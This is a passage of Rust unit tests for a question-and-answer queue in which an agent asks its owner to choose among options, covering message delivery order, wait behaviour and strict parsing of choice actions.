3568            fresh.should_notify(just_said + jiff::SignedDuration::from_secs(301)),
3569            "past the window: they may have walked away"
3570        );
3571    }
3572
3573    #[test]
3574    fn a_round_trip_of_turns_still_counts_as_one_open_question() {
3575        let (_dir, s) = store();
3576        let mut q = choice_question();
3577        s.put(&mut q).unwrap();
3578        q.say("why not Postgres?").unwrap();
3579        s.put(&mut q).unwrap();
3580        q.reply("no server to run", vec!["SQLite".to_owned()])
3581            .unwrap();
3582        s.put(&mut q).unwrap();
3583
3584        assert_eq!(
3585            s.count_open(),
3586            1,
3587            "one question that talked twice is still one open question"
3588        );
3589        assert_eq!(s.open_for(&q.run).len(), 1);
3590    }
3591
3592    #[tokio::test]
3593    async fn the_wait_returns_to_the_caller_when_the_owner_talks_back_without_deciding() {
3594        let (dir, s) = store();
3595        let mut q = choice_question();
3596        let id = q.id.clone();
3597        let writer = Questions::at(dir.path().join("questions"));
3598        let handle = tokio::spawn(async move {
3599            tokio::time::sleep(Duration::from_millis(30)).await;
3600            let mut fresh = writer.get(&id).expect("the question was filed first");
3601            fresh.say("why not Postgres?").unwrap();
3602            writer.put(&mut fresh).unwrap();
3603        });
3604
3605        let got = wait_for_owner(
3606            &mut q,
3607            &s,
3608            &quiet(),
3609            Duration::from_secs(5),
3610            Duration::from_millis(10),
3611        )
3612        .await
3613        .unwrap();
3614
3615        handle.await.unwrap();
3616        assert_eq!(got, Wait::Replied("why not Postgres?".to_owned()));
3617        assert_eq!(
3618            q.status,
3619            QuestionStatus::Open,
3620            "talking back is not a decision; the question stays open"
3621        );
3622        assert!(q.answer.is_none());
3623    }
3624
3625    #[test]
3626    fn a_say_that_lands_before_the_agents_reply_stays_unread() {
3627        let mut q = choice_question();
3628        q.say("A").unwrap();
3629        q.delivered_turns = q.thread.len();
3630        q.say("B").unwrap();
3631        q.reply("about A", vec![]).unwrap();
3632        assert_eq!(q.unread_from_owner().as_deref(), Some("B"));
3633        q.delivered_turns = q.thread.len();
3634        assert_eq!(q.unread_from_owner(), None);
3635    }
3636
3637    #[test]
3638    fn a_say_before_the_answer_is_handed_over_ahead_of_it() {
3639        let (_d, s) = store();
3640        let mut q = choice_question();
3641        s.put(&mut q).unwrap();
3642        q.say("first").unwrap();
3643        q.say("second").unwrap();
3644        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3645        s.put(&mut q).unwrap();
3646        assert_eq!(q.unread_from_owner(), None, "closed: the guard stays");
3647        let mut out = Vec::new();
3648        deliver_answer(&s, &mut q, "SQLite", &mut out).unwrap();
3649        let shown = String::from_utf8(out).unwrap();
3650        let (a, b, c) = (
3651            shown.find("first").unwrap(),
3652            shown.find("second").unwrap(),
3653            shown.find("SQLite").unwrap(),
3654        );
3655        assert!(a < b && b < c, "{shown}");
3656        assert_eq!(q.delivered_turns, q.thread.len());
3657        assert!(q.answer_delivered);
3658    }
3659
3660    #[test]
3661    fn an_answer_alone_is_unchanged_and_delivered_says_are_not_repeated() {
3662        let mut q = choice_question();
3663        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3664        assert_eq!(answer_for_agent(&q, "SQLite"), "SQLite");
3665        let mut q = choice_question();
3666        q.say("old").unwrap();
3667        q.delivered_turns = q.thread.len();
3668        q.say("new").unwrap();
3669        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3670        let shown = answer_for_agent(&q, "SQLite");
3671        assert!(shown.contains("new") && !shown.contains("old"), "{shown}");
3672    }
3673
3674    #[test]
3675    fn action_specs_parse_strictly_and_must_name_an_offered_choice() {
3676        let choices = vec!["resume で続行する".to_owned(), "wait".to_owned()];
3677        let ok = parse_actions(
3678            &[
3679                "resume で続行する=resume".to_owned(),
3680                "wait=done".to_owned(),
3681            ],
3682            &choices,
3683            "run-1",
3684        )
3685        .unwrap();
3686        assert_eq!(
3687            ok["resume で続行する"],
3688            ChoiceAction::Resume {
3689                run: "run-1".into()
3690            }
3691        );
3692        assert_eq!(ok["wait"], ChoiceAction::Done);
3693
3694        let named = ChoiceAction::parse("x=resume:abcd", "").unwrap();
3695        assert_eq!(named.1, ChoiceAction::Resume { run: "abcd".into() });
3696        assert_eq!(
3697            ChoiceAction::parse("x=requeue", "").unwrap().1,
3698            ChoiceAction::Requeue
3699        );
3700
3701        for bad in [
3702            "no-equals",
3703            "=done",
3704            "x=resume",
3705            "x=resume:",
3706            "x=explode",
3707            "x=done:1",
3708        ] {
3709            assert!(ChoiceAction::parse(bad, "").is_err(), "{bad}");
3710        }
3711        assert!(parse_actions(&["ghost=done".to_owned()], &choices, "").is_err());
3712        assert!(
3713            parse_actions(
3714                &["wait=done".to_owned(), "wait=requeue".to_owned()],
3715                &choices,
3716                ""
3717            )
3718            .is_err()
3719        );
3720    }
3721
3722    #[test]
3723    fn only_a_chosen_label_with_an_action_is_actionable() {
3724        let mut q = choice_question();
3725        q.choices = vec!["resume".to_owned(), "SQLite".to_owned()];
3726        q.actions.insert("SQLite".to_owned(), ChoiceAction::Requeue);
3727        assert!(q.chosen_action().is_none(), "unanswered");
3728        q.answer(Answer::Choice("resume".to_owned())).unwrap();
3729        assert!(
3730            q.chosen_action().is_none(),
3731            "a label that merely reads like an action does nothing"
3732        );
3733
3734        let mut q2 = choice_question();
3735        q2.choices = vec!["SQLite".to_owned()];
3736        q2.actions
3737            .insert("SQLite".to_owned(), ChoiceAction::Requeue);
3738        q2.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3739        assert_eq!(q2.chosen_action(), Some(&ChoiceAction::Requeue));
3740    }
3741
3742    #[test]
3743    fn a_reply_drops_actions_whose_choice_is_gone_and_old_files_read_without_actions() {
3744        let mut q = choice_question();
3745        q.choices = vec!["A".to_owned(), "B".to_owned()];
3746        q.actions.insert("A".to_owned(), ChoiceAction::Done);
3747        q.actions.insert("B".to_owned(), ChoiceAction::Requeue);
3748        q.reply("narrowing", vec!["B".to_owned()]).unwrap();
3749        assert_eq!(q.actions.len(), 1);
3750        assert!(q.actions.contains_key("B"));
3751
3752        let mut v = serde_json::to_value(&q).unwrap();
3753        v.as_object_mut().unwrap().remove("actions");
3754        let old: Question = serde_json::from_value(v).unwrap();
3755        assert!(old.actions.is_empty());
3756    }
3757}